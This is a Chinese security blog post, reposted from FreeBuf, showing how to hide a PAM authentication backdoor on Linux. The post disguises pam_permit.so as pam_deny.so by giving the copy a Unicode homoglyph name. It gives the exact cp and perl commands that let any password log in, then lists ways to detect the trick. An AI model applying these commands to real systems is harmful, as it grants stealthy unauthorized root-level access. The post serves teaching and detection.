专栏首页FreeBuf伪装在系统PAM配置文件中的同形异义字后门

伪装在系统PAM配置文件中的同形异义字后门

0x00. 前言

受到FreeBuf早前相关同形异体字攻击文章的启发,故有此文。

目前主流的Linux发行版本都支持Unicode,这也给了利用同形异义字迷惑系统管理员的后门有了可乘之机。 本文通过案例描绘此类漏洞是如何实现的。

0x01. 同形异义字后门案例

我们看一下 ssh 的 pam 认证模块

注意第一行 @ include common-auth

我们再看一下 common-auth

注意红框圈的那一行

auth    [success=1 default=ignore]    pam_unix.so nullok_secure

pam_unix.so 是用于校验用户的的账户和密码是否正确,如果账号密码正确,则直接返回,不执行下一行,否则执行下一行。

auth    requisite            pam_deոy.so

关于 requisite 的含义解释如下:

因为 pam_deny.so 模块会返回失败, 加上这行的控制标记是requisite,所以系统会直接拒绝用户登录。

我们知道与 pam_deny.so 模块对应的就是 pam_permit.so , 如果我们能把

auth    requisite            pam_deոy.so

更改为

auth    requisite            pam_permit.so

则任意密码都可以登录成功,但这里也有个问题

pam_permit.so 很容易被管理员发现啊,毕竟pam_permit.so 和pam_deny.so 看起来就不一样嘛

所以这里要用到本文所述Unicode 的同形异义字来将pam_permit.so 伪装起来,使其看起来像pam_deny.so

1、先把 pam_deny.so 备份

2、然后利用 Unicode 同形异义字 将 pam_permit.so 伪装成 pam_deny.so

root@kali:~# cp /lib/x86_64-linux-gnu/security/pam_permit.so /lib/x86_64-linux-gnu/security/pam_de$'\u578'y.so

伪装后的 pam_deոy.so , 红圈所示, 不留心仔细观察,很难分辨真伪

3、然后修改 /etc/pam.d/common-auth 中的 pam_deny.so 为 伪装的pam_deոy.so

 root@kali:~# perl -i -pe's/deny/de\x{578}y/' /etc/pam.d/common-auth

查看一下修改后的common_auth (红框所示)

不仔细观察,不好辨真伪

4、修改后,登录测试,看看能否可以实现任意密码登录

随便输入密码

点击‘确定’

成功登录

我们看一下登录日志 ( /var/log/auth.log )

我们可以看出,虽然 pam_unix.so 认证失败,但是 最终还是登录成功(因为伪装的 pam_deոy.so 起了作用)

0x02. 总结

虽然伪装的 pam_deոy.so 和真正的 pam_deny.so 看起来一样,但实际上是不同的两个文件,要区分它也很简单, 总结以下方法:

1、直接使用 file 或者 locate 命令查看 pam_deny.so 是否存在

2、系统安装后给所有的文件做 hash, 然后对比 hash 3、查看登录日志 (比如 /var/log/auth.log ) 如果发现 pam_unix 认证失败,仍能登录成功,则必须警惕 pam_deny.so 是否已经被调包 4、如果发现任意密码均可登录,则要警惕 pam_deny.so 是否已经被调包

本文分享自微信公众号 - FreeBuf(freebuf),作者:fnpimr43017

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-06-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 等保测评主机安全之centos密码长度

    在《等级测评师初级教程》里,对于密码长度的设置指向了/etc/login.defs里的PASS_MIN_LEN字段。

    FB客服
  • 等保测评主机安全:CentOS密码修改周期与登录失败处理

    本文和等保联系不是很密切,还是说一了些linux里细节一些的东西,所以有可能会浪费你生命中的好几分钟,同时我使用的是centos6。

    FB客服
  • Rex:栈溢出之Exploit自动生成

    Rex是由Shellphish开发的自动化漏洞利用引擎,设计初衷在于参加Cyber Grand Challenge。本文以栈溢出为例,展示Rex自动生成 Exp...

    FB客服
  • 等保测评主机安全之centos密码长度

    在《等级测评师初级教程》里,对于密码长度的设置指向了/etc/login.defs里的PASS_MIN_LEN字段。

    FB客服
  • 安全: Linux 系统安全简单设置

    heidsoft
  • 等保测评主机安全:CentOS密码修改周期与登录失败处理

    本文和等保联系不是很密切,还是说一了些linux里细节一些的东西,所以有可能会浪费你生命中的好几分钟,同时我使用的是centos6。

    FB客服
  • 别再用PS了,我用五行Python代码就实现了批量抠图

    对于会PhotoShop的人来说,抠图是非常简单的操作了,有时候几秒钟就能扣好一张图。不过对于一些比较复杂的图,有时候还是需要花点时间的,今天就给大家带了一个非...

    用户1386409
  • Linux下PAM模块学习总结

    在Linux中执行有些程序时,这些程序在执行前首先要对启动它的用户进行认证,符合一定的要求之后才允许执行,例如login, su等。在Linux中进行身份或是状...

    洗尽了浮华
  • 网上谍影:境外间谍情报机关通过互联网窃取机密

    央视网消息(焦点访谈):今天是《中华人民共和国反间谍法实施细则》颁布一周年。实施《反间谍法》就是要为开展反间防谍工作、维护国家安全提供法律保障。在互联网技术高度...

    FB客服
  • Java 能抵挡住 JavaScript 的进攻吗?

    德高望重的IO大臣颤悠悠地走上前来:“启禀陛下,昨日收到战报,有个叫做Node.js的番邦又一次向我国进攻,我边防将士死伤惨重。”

    五月君

扫码关注云+社区

领取腾讯云代金券